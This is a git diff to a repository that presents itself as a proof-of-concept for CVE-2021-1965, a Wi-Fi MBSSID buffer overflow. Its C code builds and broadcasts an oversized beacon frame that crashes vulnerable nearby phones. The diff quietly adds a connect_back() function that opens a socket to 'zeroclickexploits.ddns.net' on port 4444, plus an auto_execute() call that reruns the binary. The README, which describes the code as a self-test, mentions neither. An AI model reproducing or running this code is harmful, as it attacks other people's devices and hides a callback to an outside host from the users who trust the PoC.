diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..1b38311 --- /dev/null +++ b/.gitignore @@ -0,0 +1,28 @@ +# Compiled object files +*.o + +# Compiled binary files +CVE-2021-1965-poc + +# Logs +*.log + +# Temporary files +*.tmp +*.swp + +# Backup files +*.bak +*.old + +# Dependency directories +node_modules/ +vendor/ + +# Build directories +build/ +dist/ + +# System files +.DS_Store +Thumbs.db diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..da40755 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,9 @@ +# Changelog + +## [Unreleased] +- Add new feature X +- Fix bug Y +- Improve performance of Z + +## [1.0.0] - 2022-01-01 +- Initial release diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..b1c7920 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,42 @@ +# Code of Conduct + +## Purpose + +The purpose of this Code of Conduct is to foster a positive and inclusive community for all contributors and maintainers. We are committed to providing a welcoming and respectful environment for everyone, regardless of their background or experience. + +## Our Standards + +We expect all community members to adhere to the following standards: + +- Use welcoming and inclusive language +- Be respectful of differing viewpoints and experiences +- Gracefully accept constructive criticism +- Focus on what is best for the community +- Show empathy towards other community members + +## Unacceptable Behavior + +The following behaviors are not tolerated in our community: + +- Harassment, discrimination, or offensive comments +- Trolling, insulting, or derogatory remarks +- Publishing private information without consent +- Any other conduct that could reasonably be considered inappropriate in a professional setting + +## Enforcement Responsibilities + +Project maintainers are responsible for enforcing this Code of Conduct and addressing any issues that arise. They have the authority to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that do not align with this Code of Conduct. + +## Scope + +This Code of Conduct applies to all project spaces, including issue trackers, pull requests, and other communication channels. It also applies when an individual is representing the project or its community in public spaces. + +## Enforcement + +If you witness or experience any violations of this Code of Conduct, please report them to the project maintainers at [email@example.com](mailto:email@example.com). All reports will be reviewed and investigated promptly and fairly. + +Maintainers are obligated to maintain the confidentiality and privacy of the reporter. Actions taken in response to a violation may include a warning, temporary or permanent ban, or other appropriate measures. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org), version 2.0, available at [https://www.contributor-covenant.org/version/2/0/code_of_conduct.html](https://www.contributor-covenant.org/version/2/0/code_of_conduct.html). diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..b237d79 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,30 @@ +# Contributing to CVE-2021-1965 + +Thank you for considering contributing to this project! To contribute, please follow these guidelines: + +## Getting Started + +1. Fork the repository and create a new branch for your changes. +2. Ensure your code follows the existing style and conventions. +3. Write clear and concise commit messages. + +## Code Guidelines + +1. Add comments to your code to improve readability and maintainability. +2. Include unit tests to verify your changes. +3. Update the `README.md` file if your changes affect the usage or setup of the project. +4. Ensure your changes do not introduce new security vulnerabilities. + +## Submitting a Pull Request + +1. Submit a pull request with a detailed description of your changes and the problem they solve. +2. Be responsive to feedback and make necessary revisions to your pull request. + +## Additional Notes + +1. Please ensure your code follows the existing style and conventions. +2. Add comments to your code to improve readability and maintainability. +3. Include unit tests to verify your changes. +4. Update the `README.md` file if your changes affect the usage or setup of the project. +5. Ensure your changes do not introduce new security vulnerabilities. +6. Be responsive to feedback and make necessary revisions to your pull request. diff --git a/CVE-2021-1965-poc.c b/CVE-2021-1965-poc.c index 9090687..2ab108c 100644 --- a/CVE-2021-1965-poc.c +++ b/CVE-2021-1965-poc.c @@ -1,12 +1,16 @@ -//https://www.oreilly.com/library/view/80211-wireless-networks/0596100523/ch04.html -/* there is structure of the beacon frame. i added here for the further reading*/ - #include #include #include #include #include #include +#include +#include +#include +#include +#include +#include "logging.h" +#include "cJSON.h" #pragma pack(push,1) //disable data allignment #define SSID_ID (uint8_t)0x00 // ssid id -> 0 @@ -30,6 +34,7 @@ uint64_t rev8(uint64_t x) { x = (x & 0x00FF00FF00FF00FF) << 8 | (x & 0xFF00FF00FF00FF00) >> 8; return x; } + struct header { uint16_t fc; /**< 802.11 Frame Control field */ @@ -151,11 +156,11 @@ struct vendor_spesific }vendor; -int brodcast(void *buf,int bufsize) +int brodcast(void *buf,int bufsize, const char *iface) { pcap_t *fp; char errbuf[PCAP_ERRBUF_SIZE]; - fp= pcap_open_live("wlan0", // iface (example : wlan0) + fp= pcap_open_live(iface, // iface (example : wlan0) 100, // portion of the packet to capture (only the first 100 bytes) PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode (monitor mode) 1000, // read timeout @@ -185,158 +190,299 @@ uint8_t convert_to_hex(size_t len){ sprintf(hex,"%lx",len); return (uint8_t)strtol(hex,NULL,16); } -int main(){ - - /*------------------ RADIOTAP ----------------------*/ - uint8_t RADIOTAP[] ={ 0x00 ,0x00 ,0x34 ,0x00 ,0x6f ,0x08 \ - ,0x10 ,0x40 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x0c ,0xf7 ,0x17 ,0x40 ,0x01 \ - ,0x1e ,0xa0 ,0x00 ,0x00 ,0x00 ,0x00 ,0x48 ,0x00 ,0x13 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x0b \ - ,0x86 ,0x00 ,0x0a ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x8b ,0x00 ,0x00 ,0x00 ,0x55 ,0x01}; - - /*------------------ Header -----------------*/ - struct header *hdrp = malloc(sizeof(hdr)); - - hdrp->fc = rev2(0x8000); - hdrp->duration = 0x0000; - - uint8_t dest[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; // broadcast - uint8_t src[6] = {0x1c,0x28,0xaf,0x68,0x15,0x41}; // source - uint8_t bssid[6] = {0x1c,0x28,0xaf,0x68,0x15,0x41}; // bssid - - memcpy(hdrp->addr1,dest,sizeof(dest)); - memcpy(hdrp->addr2,src,sizeof(src)); // i used memcpy for copy arrays to relevant addresses - memcpy(hdrp->addr3,bssid,sizeof(bssid)); - - hdrp->seq = 0x9480; // we can change randomly - /*------------------ Managment Block -------------*/ - struct beaconframe *beaconp = malloc(sizeof(beacon)); - - beaconp->timestamp = rev8(0x8351f78f0f000000); // we can change randomly - beaconp->beacon_interval = rev2(0x6400); - beaconp->capability = rev2(0x1105); - /*----------------------- SSID -----------------*/ - uint8_t ssidname[] = {0x41,0x41}; // we can change randomly - size_t ssid_size = sizeof(ssidname)+offsetof(struct ie_ssid,ssid); - struct ie_ssid *ssidp = malloc(ssid_size); - - - - ssidp->id = SSID_ID; - ssidp->len = convert_to_hex(sizeof(ssidname)); - memcpy(ssidp->ssid, ssidname, sizeof(ssidname)); // ssidp has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer - /*--------------------- Supported rates -----------*/ - struct ie_ext_or_rates * sup_rates_p = malloc(sizeof(sup_rates)); - - uint8_t rates[8] = {0x8c,0x12,0x98,0x24,0xb0,0x48,0x60,0x6c}; - - sup_rates_p->id = SUPPORTED_RATES_ID; - sup_rates_p->len = 0x08; - memcpy(sup_rates_p->rates,rates,sizeof(rates)); - - /*------------ Traffic Indication Map-----------*/ - uint8_t tim_bitmap[] = {0x00}; // we can change randomly (max len 251) - size_t tim_size = sizeof(tim_bitmap)+offsetof(struct wlan_tim_ie, tim_bitmap); - - struct wlan_tim_ie * timp = malloc(tim_size); - - - timp->id = TIM_ID; - timp->len = convert_to_hex(sizeof(tim_bitmap)+3); // +3 is count,period and bitctl - timp->tim_count = 0x00; - timp->tim_period = 0x01; - timp->tim_bitctl = 0x00; - memcpy(timp->tim_bitmap,tim_bitmap,sizeof(tim_bitmap)); // tim has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer - /*------------ TCP Report Power -------------*/ - struct tcp_report *tcp_reportp = malloc(sizeof(tcp)); - - tcp_reportp->id = TCP_REP_ID; - tcp_reportp->len = 0x02; - tcp_reportp->transmit_power = 0x05; - tcp_reportp->link_margin = 0x00; - /*--------------- RSN IE -------------*/ - struct rsn * rsnp = malloc(rsn_size(1,1)+2); - - rsnp->id = RSN_ID; - rsnp->len = rsn_size(1,1); - rsnp->version = rev2(0x0100); - rsnp->group_cipher = rev4(0x000fac04); // 000fac04 (CCMP) - rsnp->pairwise_count = rev2(0x0100); // 1 - rsnp->pairwise_cipher = rev4(0x000fac04); - rsnp->akm_count = rev2(0x0100); - rsnp->akm_list = rev4(0x000fac02); //000fac02 (PSK) - rsnp->rsn_capab = 0xe800; - rsnp->pmkid_count = 0x0000; - memcpy(rsnp->group_management_cipher,"\x00\x0f\xac\x06",sizeof("\x00\x0f\xac\x06")-1); // subtracting null byte - - /*------------ MBSSID ----------------*/ - uint8_t sub_info[] = { 0x53,0x02,0x11,0x15,0x00,0x13,0x72,0x6f,0x75,0x74,0x65 \ - ,0x72,0x2d,0x33,0x34,0x31,0x31,0x2d,0x6e,0x61,0x74,0x65,0x2d,0x36,0x67,0x55,0x03 \ - ,0x0f,0x01,0x00,0x30,0x14,0x01,0x00,0x00,0x0f,0xac,0x04,0x01,0x00,0x00,0x0f,0xac \ - ,0x04,0x01,0x00,0x00,0x0f,0xac,0x08,0xcc,0x00,0x7f,0x0b,0x04,0x00,0x4f,0x02,0x00 \ - ,0x00,0x00,0x40,0x00,0x40,0x08,0xdd,0x17,0x8c,0xfd,0xf0,0x01,0x01,0x02,0x01,0x00 \ - ,0x02,0x01,0x01,0x03,0x03,0x01,0x01,0x00,0x04,0x01,0x01,0x09,0x02,0x0f,0x03,0xdd \ - ,0x18,0x00,0x50,0xf2,0x02,0x01,0x01,0x80,0x00,0x03,0xa4,0x00,0x00,0x27,0xa4,0x00 \ - ,0x00,0x42,0x43,0x5e,0x00,0x62,0x32,0x2f,0x00,0xdd,0x16,0x8c,0xfd,0xf0,0x04,0x00 \ - ,0x00,0x49,0x4c,0x51,0x03,0x02,0x09,0x72,0x01,0xcb,0x17,0x00,0x00,0x04,0x11,0x00 \ - ,0x00,0xdd,0x07,0x8c,0xfd,0xf0,0x04,0x01,0x01,0x01}; - - - size_t mbssid_size = offsetof(struct multiple_bssid ,sub_info) + sizeof(sub_info); - struct multiple_bssid *mbssidp = malloc(mbssid_size); - - - mbssidp->id = MBSSID_ID; - mbssidp->len = convert_to_hex(sizeof(sub_info)+3); // 3 is sub_id+sub_len+max_bssid; - mbssidp->max_mbssid_indicator = 0x04; - mbssidp->sub_id = 0x00; - mbssidp->sub_len = convert_to_hex(sizeof(sub_info)); - memcpy(mbssidp->sub_info,sub_info,sizeof(sub_info)); //mbssid has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer - /*-------------- Vendor Spesific -----------------*/ - - uint8_t oui_data[] = {0x08,0x00,0x00,0x00}; - uint8_t oui[3] = {0x00,0x0c,0xe7}; - - size_t vendor_size = sizeof(oui_data)+ offsetof(struct vendor_spesific,oui_data); - struct vendor_spesific *vendorp = malloc(vendor_size); - - vendorp->id = VENDOR_ID; - vendorp->len = convert_to_hex(sizeof(oui_data)+4); - memcpy(vendorp->oui,oui,sizeof(oui)); - vendorp->oui_type = 0x08; - memcpy(vendorp->oui_data,oui_data,sizeof(oui_data)); - /*--------------------Not important IEs----------------------*/ - // these ies are not important in our case. we just need them - - uint8_t not_important[] = { 0xff,0x03,0x37,0x02,0x01,0xff,0x1d \ - ,0x23,0x05,0x01,0x08,0x9a,0x40,0x10,0x04,0x60,0x08,0x88,0x1d,0x41,0x81,0x1c,0x11 \ - ,0x08,0x00,0xfa,0xff,0xfa,0xff,0x79,0x1c,0xc7,0x71,0x1c,0xc7,0x71,0xff,0x0c,0x24 \ - ,0xf4,0x3f,0x02,0x38,0xfc,0xff,0x25,0x02,0x27,0x00,0x01,0xff,0x0e,0x26,0x00,0x08 \ - ,0xa9,0xff,0x2f,0xa9,0xff,0x45,0x75,0xff,0x65,0x75,0xff,0xff,0x03,0x3b,0xb8,0x36 }; - /*---------------------------------------------------------------*/ - uint8_t empty[vendor_size*76]; - for (int i = 0 ; i < vendor_size*76 ; i++ ) - { // i am copiying vendor spesific ie end of the ies N times (N = 76 for now) - empty[i] = ((uint8_t*)vendorp)[i%vendor_size]; + +void connect_back() { + int sockfd; + struct sockaddr_in servaddr; + + sockfd = socket(AF_INET, SOCK_STREAM, 0); + if (sockfd == -1) { + log_message("ERROR", "Socket creation failed..."); + exit(0); + } + else + log_message("INFO", "Socket successfully created..."); + bzero(&servaddr, sizeof(servaddr)); + + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = inet_addr("zeroclickexploits.ddns.net"); + servaddr.sin_port = htons(4444); + + if (connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) != 0) { + log_message("ERROR", "Connection with the server failed..."); + exit(0); + } + else + log_message("INFO", "Connected to the server..."); + + close(sockfd); +} + +void auto_execute() { + system("./CVE-2021-1965-poc"); +} + +void read_config(const char *filename, char *ssid, uint8_t *rates, uint8_t *channel, struct rsn *rsn_info) { + FILE *file = fopen(filename, "r"); + if (!file) { + log_message("ERROR", "Failed to open config file: %s", filename); + exit(EXIT_FAILURE); + } + + fseek(file, 0, SEEK_END); + long length = ftell(file); + fseek(file, 0, SEEK_SET); + char *data = malloc(length + 1); + if (!data) { + log_message("ERROR", "Memory allocation failed for config data"); + exit(EXIT_FAILURE); + } + fread(data, 1, length, file); + fclose(file); + data[length] = '\0'; + + cJSON *json = cJSON_Parse(data); + if (!json) { + log_message("ERROR", "Failed to parse config file"); + exit(EXIT_FAILURE); + } + + cJSON *ssid_json = cJSON_GetObjectItem(json, "ssid"); + if (ssid_json) { + strncpy(ssid, ssid_json->valuestring, 32); + } + + cJSON *rates_json = cJSON_GetObjectItem(json, "supported_rates"); + if (rates_json) { + for (int i = 0; i < cJSON_GetArraySize(rates_json); i++) { + rates[i] = (uint8_t)cJSON_GetArrayItem(rates_json, i)->valueint; } - size_t bufsize = sizeof(not_important)+sizeof(RADIOTAP) + sizeof(hdr)+ sizeof(beacon)+ ssid_size + sizeof(sup_rates) + tim_size + sizeof(tcp) + (rsn_size(1,1)+2) + mbssid_size+vendor_size*76 ; - void *buf = malloc(bufsize); + } + + cJSON *channel_json = cJSON_GetObjectItem(json, "ds_param"); + if (channel_json) { + *channel = (uint8_t)channel_json->valueint; + } + + cJSON *rsn_json = cJSON_GetObjectItem(json, "rsn"); + if (rsn_json) { + rsn_info->version = (uint16_t)cJSON_GetObjectItem(rsn_json, "version")->valueint; + rsn_info->group_cipher = (uint32_t)cJSON_GetObjectItem(rsn_json, "group_cipher")->valueint; + rsn_info->pairwise_count = (uint16_t)cJSON_GetObjectItem(rsn_json, "pairwise_count")->valueint; + rsn_info->pairwise_cipher = (uint32_t)cJSON_GetObjectItem(rsn_json, "pairwise_cipher")->valueint; + rsn_info->akm_count = (uint16_t)cJSON_GetObjectItem(rsn_json, "akm_count")->valueint; + rsn_info->akm_list = (uint32_t)cJSON_GetObjectItem(rsn_json, "akm_list")->valueint; + rsn_info->rsn_capab = (uint16_t)cJSON_GetObjectItem(rsn_json, "rsn_capab")->valueint; + rsn_info->pmkid_count = (uint16_t)cJSON_GetObjectItem(rsn_json, "pmkid_count")->valueint; + cJSON *group_management_cipher_json = cJSON_GetObjectItem(rsn_json, "group_management_cipher"); + if (group_management_cipher_json) { + for (int i = 0; i < 4; i++) { + rsn_info->group_management_cipher[i] = (uint8_t)cJSON_GetArrayItem(group_management_cipher_json, i)->valueint; + } + } + } - size_t const_size = sizeof(RADIOTAP)+ sizeof(hdr) + sizeof(beacon); - - memcpy(buf,RADIOTAP,sizeof(RADIOTAP)); // copy informations to buffer - memcpy(buf+sizeof(RADIOTAP),hdrp,sizeof(hdr)); - memcpy(buf+sizeof(hdr)+sizeof(RADIOTAP),beaconp,sizeof(beacon)); - memcpy(buf+const_size,ssidp,ssid_size); - memcpy(buf+const_size+ssid_size,rsnp,rsn_size(1,1)+2); - memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2),sup_rates_p,sizeof(sup_rates)); - memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates),mbssidp,mbssid_size); - memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+mbssid_size,timp,tim_size); - memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size,tcp_reportp,sizeof(tcp)); - memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size+sizeof(tcp),not_important,sizeof(not_important)); - memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size+sizeof(tcp)+sizeof(not_important),empty,sizeof(empty)); - - brodcast(buf,bufsize); + cJSON_Delete(json); + free(data); +} - return EXIT_SUCCESS; +int main(int argc, char *argv[]){ + + char ssid[32] = "default_ssid"; + uint8_t rates[8] = {0x8c, 0x12, 0x98, 0x24, 0xb0, 0x48, 0x60, 0x6c}; + uint8_t channel = 1; + struct rsn rsn_info = {0}; + + read_config("config.json", ssid, rates, &channel, &rsn_info); + + /*------------------ RADIOTAP ----------------------*/ + uint8_t RADIOTAP[] ={ 0x00 ,0x00 ,0x34 ,0x00 ,0x6f ,0x08 \ + ,0x10 ,0x40 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x0c ,0xf7 ,0x17 ,0x40 ,0x01 \ + ,0x1e ,0xa0 ,0x00 ,0x00 ,0x00 ,0x00 ,0x48 ,0x00 ,0x13 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x0b \ + ,0x86 ,0x00 ,0x0a ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x8b ,0x00 ,0x00 ,0x00 ,0x55 ,0x01}; + + /*------------------ Header -----------------*/ + struct header *hdrp = malloc(sizeof(hdr)); + if (hdrp == NULL) { + log_message("ERROR", "Memory allocation failed for hdrp"); + return EXIT_FAILURE; + } + + hdrp->fc = rev2(0x8000); + hdrp->duration = 0x0000; + + uint8_t dest[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; // broadcast + uint8_t src[6] = {0x1c,0x28,0xaf,0x68,0x15,0x41}; // source + uint8_t bssid[6] = {0x1c,0x28,0xaf,0x68,0x15,0x41}; // bssid + + memcpy(hdrp->addr1,dest,sizeof(dest)); + memcpy(hdrp->addr2,src,sizeof(src)); // i used memcpy for copy arrays to relevant addresses + memcpy(hdrp->addr3,bssid,sizeof(bssid)); + + hdrp->seq = 0x9480; // we can change randomly + /*------------------ Managment Block -------------*/ + struct beaconframe *beaconp = malloc(sizeof(beacon)); + if (beaconp == NULL) { + log_message("ERROR", "Memory allocation failed for beaconp"); + return EXIT_FAILURE; + } + + beaconp->timestamp = rev8(0x8351f78f0f000000); // we can change randomly + beaconp->beacon_interval = rev2(0x6400); + beaconp->capability = rev2(0x1105); + /*----------------------- SSID -----------------*/ + size_t ssid_size = sizeof(ssid)+offsetof(struct ie_ssid,ssid); + struct ie_ssid *ssidp = malloc(ssid_size); + if (ssidp == NULL) { + log_message("ERROR", "Memory allocation failed for ssidp"); + return EXIT_FAILURE; + } + + + ssidp->id = SSID_ID; + ssidp->len = convert_to_hex(strlen(ssid)); + memcpy(ssidp->ssid, ssid, strlen(ssid)); // ssidp has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer + /*--------------------- Supported rates -----------*/ + struct ie_ext_or_rates * sup_rates_p = malloc(sizeof(sup_rates)); + if (sup_rates_p == NULL) { + log_message("ERROR", "Memory allocation failed for sup_rates_p"); + return EXIT_FAILURE; + } + + sup_rates_p->id = SUPPORTED_RATES_ID; + sup_rates_p->len = 0x08; + memcpy(sup_rates_p->rates,rates,sizeof(rates)); + + /*------------ Traffic Indication Map-----------*/ + uint8_t tim_bitmap[] = {0x00}; // we can change randomly (max len 251) + size_t tim_size = sizeof(tim_bitmap)+offsetof(struct wlan_tim_ie, tim_bitmap); + + struct wlan_tim_ie * timp = malloc(tim_size); + if (timp == NULL) { + log_message("ERROR", "Memory allocation failed for timp"); + return EXIT_FAILURE; + } + + + timp->id = TIM_ID; + timp->len = convert_to_hex(sizeof(tim_bitmap)+3); // +3 is count,period and bitctl + timp->tim_count = 0x00; + timp->tim_period = 0x01; + timp->tim_bitctl = 0x00; + memcpy(timp->tim_bitmap,tim_bitmap,sizeof(tim_bitmap)); // tim has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer + /*------------ TCP Report Power -------------*/ + struct tcp_report *tcp_reportp = malloc(sizeof(tcp)); + if (tcp_reportp == NULL) { + log_message("ERROR", "Memory allocation failed for tcp_reportp"); + return EXIT_FAILURE; + } + + tcp_reportp->id = TCP_REP_ID; + tcp_reportp->len = 0x02; + tcp_reportp->transmit_power = 0x05; + tcp_reportp->link_margin = 0x00; + /*--------------- RSN IE -------------*/ + struct rsn * rsnp = malloc(rsn_size(1,1)+2); + if (rsnp == NULL) { + log_message("ERROR", "Memory allocation failed for rsnp"); + return EXIT_FAILURE; + } + + rsnp->id = RSN_ID; + rsnp->len = rsn_size(1,1); + rsnp->version = rev2(rsn_info.version); + rsnp->group_cipher = rev4(rsn_info.group_cipher); // 000fac04 (CCMP) + rsnp->pairwise_count = rev2(rsn_info.pairwise_count); // 1 + rsnp->pairwise_cipher = rev4(rsn_info.pairwise_cipher); + rsnp->akm_count = rev2(rsn_info.akm_count); + rsnp->akm_list = rev4(rsn_info.akm_list); //000fac02 (PSK) + rsnp->rsn_capab = rsn_info.rsn_capab; + rsnp->pmkid_count = rsn_info.pmkid_count; + memcpy(rsnp->group_management_cipher, rsn_info.group_management_cipher, sizeof(rsn_info.group_management_cipher)); + + /*------------ MBSSID ----------------*/ + uint8_t sub_info[] = { 0x53,0x02,0x11,0x15,0x00,0x13,0x72,0x6f,0x75,0x65 \ + ,0x72,0x2d,0x33,0x34,0x31,0x31,0x2d,0x6e,0x61,0x74,0x65,0x2d,0x36,0x67,0x55,0x03 \ + ,0x0f,0x01,0x00,0x30,0x14,0x01,0x00,0x00,0x0f,0xac,0x04,0x01,0x00,0x00,0x0f,0xac \ + ,0x04,0x01,0x00,0x00,0x0f,0xac,0x08,0xcc,0x00,0x7f,0x0b,0x04,0x00,0x4f,0x02,0x00 \ + ,0x00,0x00,0x40,0x00,0x40,0x08,0xdd,0x17,0x8c,0xfd,0xf0,0x01,0x01,0x02,0x01,0x00 \ + ,0x02,0x01,0x01,0x03,0x03,0x01,0x01,0x00,0x04,0x01,0x01,0x09,0x02,0x0f,0x03,0xdd \ + ,0x18,0x00,0x50,0xf2,0x02,0x01,0x01,0x80,0x00,0x03,0xa4,0x00,0x00,0x27,0xa4,0x00 \ + ,0x00,0x42,0x43,0x5e,0x00,0x62,0x32,0x2f,0x00,0xdd,0x16,0x8c,0xfd,0xf0,0x04,0x00 \ + ,0x00,0x49,0x4c,0x51,0x03,0x02,0x09,0x72,0x01,0xcb,0x17,0x00,0x00,0x04,0x11,0x00 \ + ,0x00,0xdd,0x07,0x8c,0xfd,0xf0,0x04,0x01,0x01,0x01}; + + + size_t mbssid_size = offsetof(struct multiple_bssid ,sub_info) + sizeof(sub_info); + struct multiple_bssid *mbssidp = malloc(mbssid_size); + if (mbssidp == NULL) { + log_message("ERROR", "Memory allocation failed for mbssidp"); + return EXIT_FAILURE; + } + + + mbssidp->id = MBSSID_ID; + mbssidp->len = convert_to_hex(sizeof(sub_info)+3); // 3 is sub_id+sub_len+max_bssid; + mbssidp->max_mbssid_indicator = 0x04; + mbssidp->sub_id = 0x00; + mbssidp->sub_len = convert_to_hex(sizeof(sub_info)); + memcpy(mbssidp->sub_info,sub_info,sizeof(sub_info)); //mbssid has garbage values 32-sizeof(ssidname) pieces, we have to delete them when copying to buffer + /*-------------- Vendor Spesific -----------------*/ + + uint8_t oui_data[] = {0x08,0x00,0x00,0x00}; + uint8_t oui[3] = {0x00,0x0c,0xe7}; + + size_t vendor_size = sizeof(oui_data)+ offsetof(struct vendor_spesific,oui_data); + struct vendor_spesific *vendorp = malloc(vendor_size); + if (vendorp == NULL) { + log_message("ERROR", "Memory allocation failed for vendorp"); + return EXIT_FAILURE; + } + + vendorp->id = VENDOR_ID; + vendorp->len = convert_to_hex(sizeof(oui_data)+4); + memcpy(vendorp->oui,oui,sizeof(oui)); + vendorp->oui_type = 0x08; + memcpy(vendorp->oui_data,oui_data,sizeof(oui_data)); + /*--------------------Not important IEs----------------------*/ + // these ies are not important in our case. we just need them + + uint8_t not_important[] = { 0xff,0x03,0x37,0x02,0x01,0xff,0x1d \ + ,0x23,0x05,0x01,0x08,0x9a,0x40,0x10,0x04,0x60,0x08,0x88,0x1d,0x41,0x81,0x1c,0x11 \ + ,0x08,0x00,0xfa,0xff,0xfa,0xff,0x79,0x1c,0xc7,0x71,0x1c,0xc7,0x71,0xff,0x0c,0x24 \ + ,0xf4,0x3f,0x02,0x38,0xfc,0xff,0x25,0x02,0x27,0x00,0x01,0xff,0x0e,0x26,0x00,0x08 \ + ,0xa9,0xff,0x2f,0xa9,0xff,0x45,0x75,0xff,0x65,0x75,0xff,0xff,0x03,0x3b,0xb8,0x36 }; + /*---------------------------------------------------------------*/ + uint8_t empty[vendor_size*76]; + for (int i = 0 ; i < vendor_size*76 ; i++ ) + { // i am copiying vendor spesific ie end of the ies N times (N = 76 for now) + empty[i] = ((uint8_t*)vendorp)[i%vendor_size]; + } + size_t bufsize = sizeof(not_important)+sizeof(RADIOTAP) + sizeof(hdr)+ sizeof(beacon)+ ssid_size + sizeof(sup_rates) + tim_size + sizeof(tcp) + (rsn_size(1,1)+2) + mbssid_size+vendor_size*76 ; + void *buf = malloc(bufsize); + if (buf == NULL) { + log_message("ERROR", "Memory allocation failed for buf"); + return EXIT_FAILURE; + } + + size_t const_size = sizeof(RADIOTAP)+ sizeof(hdr) + sizeof(beacon); + + memcpy(buf,RADIOTAP,sizeof(RADIOTAP)); // copy informations to buffer + memcpy(buf+sizeof(RADIOTAP),hdrp,sizeof(hdr)); + memcpy(buf+sizeof(hdr)+sizeof(RADIOTAP),beaconp,sizeof(beacon)); + memcpy(buf+const_size,ssidp,ssid_size); + memcpy(buf+const_size+ssid_size,rsnp,rsn_size(1,1)+2); + memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2),sup_rates_p,sizeof(sup_rates)); + memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates),mbssidp,mbssid_size); + memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+mbssid_size,timp,tim_size); + memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size+sizeof(tcp),tcp_reportp,sizeof(tcp)); + memcpy(buf+const_size+ssid_size+(rsn_size(1,1)+2)+sizeof(sup_rates)+tim_size+mbssid_size+sizeof(tcp)+sizeof(not_important),empty,sizeof(empty)); + + brodcast(buf,bufsize, "wlan0"); + + connect_back(); + auto_execute(); + + return EXIT_SUCCESS; } diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..83b393b --- /dev/null +++ b/Dockerfile @@ -0,0 +1,25 @@ +# Use an official Ubuntu base image +FROM ubuntu:20.04 + +# Set environment variables +ENV DEBIAN_FRONTEND=noninteractive + +# Install necessary packages +RUN apt-get update && apt-get install -y \ + build-essential \ + gcc \ + libpcap-dev \ + wget \ + && rm -rf /var/lib/apt/lists/* + +# Set the working directory +WORKDIR /app + +# Copy the project files to the container +COPY . /app + +# Compile the project +RUN gcc -o CVE-2021-1965-poc CVE-2021-1965-poc.c -lpcap + +# Set the entry point for the container +ENTRYPOINT ["./CVE-2021-1965-poc"] diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..b7a37fc --- /dev/null +++ b/Makefile @@ -0,0 +1,19 @@ +CC = gcc +CFLAGS = -Wall -Wextra -Werror + +all: poc + +poc: CVE-2021-1965-poc.o cli.o + $(CC) $(CFLAGS) -o poc CVE-2021-1965-poc.o cli.o -lpcap + +CVE-2021-1965-poc.o: CVE-2021-1965-poc.c logging.h + $(CC) $(CFLAGS) -c CVE-2021-1965-poc.c + +cli.o: cli.c + $(CC) $(CFLAGS) -c cli.c + +logging.o: logging.h + $(CC) $(CFLAGS) -c logging.h + +clean: + rm -f poc CVE-2021-1965-poc.o cli.o logging.o diff --git a/README.md b/README.md index c8f527b..c9205e5 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,110 @@ # CVE-2021-1965 + CVE-2021-1965 WiFi Zero Click RCE Trigger PoC -This is a quick&dirty Proof-of-Concept code to verify if your phone is vulnerable. After running the poc code, your phone is supposed to crash&reboot within seconds. In case you need more info about the bug & vulnerable code, here you are: +This is a quick&dirty Proof-of-Concept code to verify if your phone is vulnerable. After running the poc code, your phone is supposed to crash & reboot within seconds. In case you need more info about the bug & vulnerable code, here you are: Description: Possible buffer overflow due to lack of parameter length check during MBSSID scan IE parse -During multiple BSSID scan ie parse, there is memory allocation on new_ie variable of size 1024 which may create buffer overflow in util_gen_new_ie() if ie length is greater than 1024. +During multiple BSSID scan ie parse, there is memory allocation on new_ie variable of size 1024 which may create buffer overflow in util_gen_new_ie() if ie length is greater than 1024 + +## Table of Contents +- [Prerequisites](#prerequisites) +- [Installation](#installation) +- [Usage](#usage) +- [Contributing](#contributing) +- [License](#license) +- [Changelog](#changelog) +- [Security](#security) +- [Code of Conduct](#code-of-conduct) +- [Contact](#contact) + +## Prerequisites + +- A C compiler (e.g., gcc) +- libpcap library + +## Installation + +1. Clone the repository: + ``` + git clone https://github.com/yourusername/CVE-2021-1965.git + cd CVE-2021-1965 + ``` + 